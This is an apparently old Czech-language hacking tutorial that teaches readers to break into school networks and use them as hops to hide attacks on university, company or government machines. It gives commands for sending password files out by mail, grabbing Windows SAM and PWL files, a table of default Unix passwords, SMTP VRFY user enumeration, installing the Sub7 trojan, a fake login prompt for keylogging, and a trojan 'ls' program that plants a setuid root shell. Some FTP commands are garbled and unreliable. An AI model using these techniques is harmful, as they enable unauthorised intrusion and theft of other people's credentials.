Hackování přes Linux
WARNING = pro FTP je lepší hackovat přes FTP klienta a ne přes Telnet
<<<<<<<<<<<<<<<<<<<<<<<<<<<ČÁST PRVNÍ – získání hesla do systému>>>>>>>>>>>
Nevíte jak začít? Úplně od začátku? Tady vám dám takovej praktickej návod jak začít s hackováním.
Nejdřív si vyhlédneme nějaký server, o kterém tušíme, že bude nejspíš blbě zabezpečený. Nejlepší je např. školní síť. Školní síť je dobrá ani ne tolik na hackování, ale hlavně na zamaskování. Abych to vysvětlil: řekněme, že se snažíte dostat na nějaký dejme tomu vládní počítač (POZOR: nikdy nehackujte vládní počítače, to je jenom extrémní případ!!!!). Je to VAX/VMS a zapisuje si každý špatný pokus. A když to zkusíte po 20., SM (ne sado-maso ale System Manager) si zjistí, kdo se vlastně snaží dostat na "jeho" počítač. Podívá se, a uvidí vaši IP adresu. Pokud se tam ale budete přihlašovat přes školní síť, uvidí tam pouze tu síť a nebudete mít problémy! A když ze školní sítě hacknete třeba nějakou univerzitu, z ní ještě nějakou firmu, tak to bude vypadat následovně:
| vy |------|škola|-------|universita|-----|firma|-----|
+-----+!vládní počítač!|
takže sledovačka by šla FIRMA-UNIVERSITA-ŠKOLA-VY a než by na vás přišli, to by byl ztracenej čas. Určitě se o to pokouší další desítka Lamerů, který nejsou tak dobře chránění jako vy. Důležité je, aby první objekt byl nějaký úplně bezpečný (Unix/IBM ale ne VAX!!!). Takže jdeme na to.
Tady je několik postupů:
1. znáte nějakého uživatele sítě i s passwordem a operační systém je UNIX.
Spustíte si z nabídky Start "Spustit" a tam napíšete:
telnet 159.54.12.78
přičemž 159.54.12.78 zaměníte za IP adresu školní sítě nebo www adresu školní sítě. Pak se vám objeví tohle:
Welcome to [školní síť]
Login:
zadáte jeho přihlašovací jméno, odklepnete a na obrazovce uvidíte toto:
Welcome to [školní síť]
Login:pepa
Password:
(pokud vám to blbne a místo pepa píše ppepepaa nebo tak, tak dejte Předvolby a tam vypněte Místní odezva)
vyplňte kolonku password jeho heslem. Tak, teď jste uvnitř. První co uděláte je, že si pošlete soubor se zašifrovanými hesly na svůj E-mail a to následovně:
cat /etc/passwd |mail email@server.cz
přičemž zadáte vlastní e-mailovou adresu. Jinak pokud napíšete HELP tak dostanete nápovědu.
2. znáte nějakého uživatele sítě i s passwordem a operační systém je Windows NT.
Spustíte si z nabídky Start "Spustit" a tam napíšete:
telnet 159.54.12.78 21
přičemž 159.54.12.78 zaměníte za IP adresu školní sítě nebo www adresu školní sítě. Pak se vám objeví něco ve smyslu Jste připojeni. Bude tam slovo FTP např:
SchoolNet FTP ready.
Ať napíšete cokoliv, řekne:
Please login with USER and PASS.
Takže napište:
user pepa
přičemž pepa zaměňte za jeho uživatelské jméno. Mělo by to hodit něco ve smyslu: Login OK, please send your PASS. nebo tak. Napište:
pass pepovo_heslo
přičemž pepovo_heslo je to jeho heslo. Tak. Teď si musíte stáhnout soubor se zašifrovanými hesly. Napište:
pwd
a on by vám měl vypsat, kde se nacházíte. Příkaz CWD winnt by vás měl dostat do adresáře Windows NT. Jinak použijte XCWD abyste "vyjeli" až do kořenového adresáře, tj. XCWD, PWD, XCWD, PWD atd. až pak CWD Winnt. Tak teď zadejte:
cwd repair
Teď jste v adresáři repair. Konečně napište:
STOR sam._ > C:\
a měli byste mít soubor s hesly na svém disku C: Pokud to nefunguje, zadejte:
STOR sam._ > C:\sam._
Jinak pokud napíšete HELP tak dostanete nápovědu.
3. znáte nějakého uživatele sítě i s passwordem a operační systém je Novell.
Spustíte si z nabídky Start "Spustit" a tam napíšete:
telnet 159.54.12.78 21
přičemž 159.54.12.78 zaměníte za IP adresu školní sítě nebo www adresu školní sítě. Pak se vám objeví něco ve smyslu Jste připojeni. Bude tam slovo FTP např:
SchoolNet FTP ready.
Ať napíšete cokoliv, řekne:
Please login with USER and PASS.
Takže napište:
user pepa
přičemž pepa zaměňte za jeho uživatelské jméno. Mělo by to hodit něco ve smyslu: Login OK, please send your PASS. nebo tak. Napište:
pass pepovo_heslo
přičemž pepovo_heslo je to jeho heslo. Tak. Teď si musíte stáhnout soubor se zašifrovanými hesly. Napište:
pwd
a on by vám měl vypsat, kde se nacházíte. Příkaz CWD Windows by vás měl dostat do adresáře Windows. Jinak použijte XCWD abyste "vyjeli" až do kořenového adresáře, tj. XCWD, PWD, XCWD, PWD atd. až pak CWD Widows. Teď jde o to, abyste si stáhli všechny soubory s koncovkou .PWL Takže zkuste:
STOR *.PWL > C:\
a to by vám mělo uložit všechny PWL na disk. Co s tim se dozvíme dál. Pokud napíšte HELP měli byste dostat nápovědu.
4. neznáte nic a operační systém je UNIX.
Spustíte si z nabídky Start "Spustit" a tam napíšete:
telnet 159.54.12.78
přičemž 159.54.12.78 zaměníte za IP adresu školní sítě nebo www adresu školní sítě. Zkusíme tedy hádat hesla. Tady je malá tabulka hesel do Unixu na účty, které se zavedou při nainstalování OS (Operačního Systému).
+----------------------------------------------------+
|LOGIN |PASSWORD |ALTERNATE |
|==================================================== |
|ROOT |ROOT |SYSTEM, SYSOP |
|SYS |SYS |SYSTEM |
|DAMEON |DAEMON | |
|UUCP |UUCP | |
|TTY |TTY | |
|TEST |TEST | |
|UNIX |UNIX |TEST |
|BIN |BIN | |
|ADM |ADM |ADMIN |
|ADMIN |ADM |ADMIN |
|SYSMAN |SYSMAN |SYS, SYSTEM |
|SYSADMIN |SYSADMIN, SYSTEM |SYS, ADMIN, ADM |
|WHO |WHO | |
|LEARN/STUDENT |LEARN/STUDENT |VYUKA, CVICENI |
|UUHOST |UUHOST | |
|GUEST |GUEST |HOST |
|HOST |HOST |GUEST |
|ANONYMOUS |GUEST |HOST, ROOT |
|NUUCP |NUUCP | |
|SYSOP |SYSOP |OPERATOR |
|DEMO |DEMO |INFO, TEST |
+----------------------------------------------------+
zkusili jsme hádat. Pokud úspěšně, pošleme si soubor zašifrovaných hesel na náš e-mail. Napíšeme:
cat /etc/passwd |mail email@server.cz
přičemž zadáme vlastní e-mailovou adresu. Pokud jsme nebyli úspěšní, odpojíme se (Připojit - Odpojit) a ukončíme program telnet. Pak uděláme následující:
Spustíme si z nabídky Start "Spustit" a tam napíšete:
telnet 159.54.12.78 25
Tak, teď by vám to mělo hodit něco jako SMTP Service nebo Sendmail Service nebo tak nějak. Tato služba má jednu výhodu a to takovou. Můžeme tipovat jména uživatelů a vždy nám vyjede, jedtli uživatel exituje či ne. Uděláme tak pomocí příkazu VRFY:
vrfy root
a počítač odpoví:
vrfy root
<root @ server.cz>
z toho vidíme, že uživatel root (SM) existuje. Zkusíme teď třeba tohle:
vrfy lopata
<lopata @ server.cz>
z toho vidíme že uživatel lopata exituje. Můžeme tedy do "login" zadat lopata a tipovat hesla: lopata, lopatka atd. Je to přeci jed dost blbá technika, ale za pokus to stojí. A když zkusíme třeba uživatele vanoce, který neexistuje, vypíše toto:
vrfy vanoce
Vanoce...User Unknown
Tak. Pokud se žádný z těchto pokusů nevydařil, tak jsme jednoduše řečeno v prdeli. Zřejmě neni ten systémák takovej kreten a ty díry vopravil. Takže jinak. Zkusíme buď:
· zeptat se někoho a nenápadně za nějakym účelem z něj dostat heslo (např. vymlátit)
· nebo počkat, až někdo odejde na záchod a rychle si tam sednout a podle systému si zkopírovat hesla, což je dost rychlý, nebo si je pošlat poštou normálně (jako přílohu)
· udělat nejvychcanější věc ze všech, a to následovně:
Z domova si na e-mail pošleme Server-část nějakýho trojana a prográmek IP. Doporučuju Sub7, protože ho nenajde moc antiviráků. Viz sekce Trojans a Utilities. Ze školy (z toho počítače) se přihlásíme na náš e-mail a server-část i prográmek IP rychle stahneme. Spustíme server-část a program IP. IP adresu si napíšeme na papírek a server–část smažeme. Pak pustíme uživatele zase sednout.
Poznámka: tento postup můžeme použít kdykoli se dostaneme na počítač, takže spíše ukecejte kámoše. Postup tedy vypadá takto:
+------+
_____>| 3 |
/ +------+
/2 |
+--+ |
|1 | \|/
+--+ +-----+
| >| 4 |
\_____5________/ +-----+
Vysvětlivky:
1. váš počítač, z kterého pošlete mail s 2 přílohami
2. 2 programy putující do e-mailové schránky (IP + server-část Sub7)
3. vaše e-mailová schránka
4. školní počítač, ze kterého stáhnete mail, spustíte a následně smažete oba programy
5. připjíte se pomocí Sub7 atd.
Co potom se Sub7 u vás doma? Nejprve zadáte IP adresu, co máte a papírku. Dejte connect. Tak, měli byste být připojeni. Teď dejte Advanced, pak Passwords. Zkuste vše. Tím byste měli získat nějaká hesla. Projeďte si to všechno, ale nedělejte zbytečný fórky. Přišlo by se na to. Akorát to, co se na tamtom počítači nepozná. Doporučuju udělat následující věc:
Pošlete dotyčnému zprávu se značkou Warning, aby vypadal nějak takhle:
+--------------------------+
|Upozornění |
+--------------------------+
| !!! Upzornění: prosím |
| !!! o obnovení |
| ! přihlášení |
| |
| !!! |
+--------------------------+
nebo něco v tom smyslu a nechte logovat klávesy. Uživatel se znovu přihlásí a vy máte heslo!
<<<<<<<<<<<<<<<<<<<<<<<<<ČÁST DRUHÁ – použití zašifrovanýchhesel>>>>>>>>>>>
Tak, v minulý části jsme se dostali do systému a uložili si soubor se zašifrovanými hesly. Sice je to skoro ve všech příručkách, ale tak to bude i tady, abyste to měli fšechno pohromadě. Takové heslo vypadá třeba takto:
lopata:pq45fh8gh:8845:14:Pavel Lopata:/home/dir/lopata:/bin/lopata
Co to znamená?
Uživatelovo jméno: lopata
Zašifrované heslo: pq45fh8gh
Číslo uživatele: 8845
Číslo skupiny: 14
Ostatní informace: Pavel Lopata
Uživatelův adresář: /home/dir/lopata
Shell: /bin/lopata
Stačí si najít v sekci Utilities program Cracker Jack. Spustíte ho a on vám nějaká ta hesla vylouská. Pokud ovšem údaje v souboru nevypadají takto:
lopata:*:8845:14:Pavel Lopata:/home/dir/lopata:/bin/lopata
To znamená, že heslo je zatemněno a pravý soubor s hesly je někde jinde. Udělejte tedy toto:
Z nabídky Start dejte Spustit:
telnet 159.54.12.78 21
přičemž 159.54.12.78 zaměníte za IP adresu školní sítě nebo www adresu školní sítě. Pak se vám objeví něco ve smyslu Jste připojeni. Bude tam slovo FTP např:
FTP ready.
Nalogujte se (to je popsáno výše) a napište toto:
SYST
on by vám měl říct, co je to za systém.
Tak, a podle toho musíte najít opravdový soubor s hesly. Nebo ho najedte podle znaku, který je místo hesla.
SYSTÉM CESTA K SOUBORU SYMBOL
AIX 3 /etc/security/passwd !
nebo /tcb/auth/files/<první písmeno #
uživatelského jména>/<uživatelské jméno>
A/UX 3.OS /tcb/files/auth/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
Convex0S 11 /etc/shadow *
DG/UX /etc/tcb/aa/user *
EP/IX /atd/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO UNIX #.2.x /tcb/auth/files/<první písmeno *
uživatelského jména>/<uživatelské jméno>
SunOS 4.1+c2 /etc/security/passwd.adjunct ##
SunOS 5.0 /etc/shadow
System V 4.0 /etc/shadow x
System V 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
tak, jenže je tu malej problém. Ke opravdovým souborům s hesly je přístup zakázán. A sme v prdeli. Nezbývá než získat ROOT práva, čili stát se SM a pak si ten soubor stáhnout. To znamená, musime hacknout ROOTa. A jak?
Pokud jsme se na systém dostali přes univerzální hesla, pak bysme mohli mít všechna práva. Pokud ne, nalíčíme na ROOTa malou pastičku. ROOT, pokud si chce prohlídnout, co máme na disku, zadá příkaz ls. Pokud si my uděláme svůj program ls, on ho spustí a my dostaneme jeho práva. Tady je ten program. Napište ho v C++. Pak se telnetujte na port 21 (telnet IP 21), nalogujte se a napište:
STOR C:\ls.c > /home/pepa
program ls.c máte na disku C a přenášíte ho do vašeho kořenového adresáře. Jestliže nevíte, jaký je, tak napište tohle:
finger pepa
měl by vám vyjet výpis, kde je napsaný i kořenový adresář. OK, tady je ten program:
void main()
{
seteuid(0); /* nastaví nám práva roota */
setegid(0); /* i skupinu roota */
system("cp /bin/sh subor"); /* skopíruje shell do souboru "soubor" */
system("chmod 6755 subor"); /* nastaví SUID bit souboru "soubor" */
system("rm ls"); /* VYMAŽE náš program "ls" (aby to root nezjistil) */
system("/bin/ls"); /* vykoná se "normalně" ls, aby na to root nepřišel */
}
stačí, když to budete psát bez poznámek ;-).
Jakmile se přihlásíte a uvidíte, že tam máte soubor s názvem "soubor", jednoduše ho spustíte a máte práva ROOTa. Jednoduché že? Funguje to ale jen tehdy, pokud to systémák neopravil a nenapsal Path vždy do /bin nebo tak.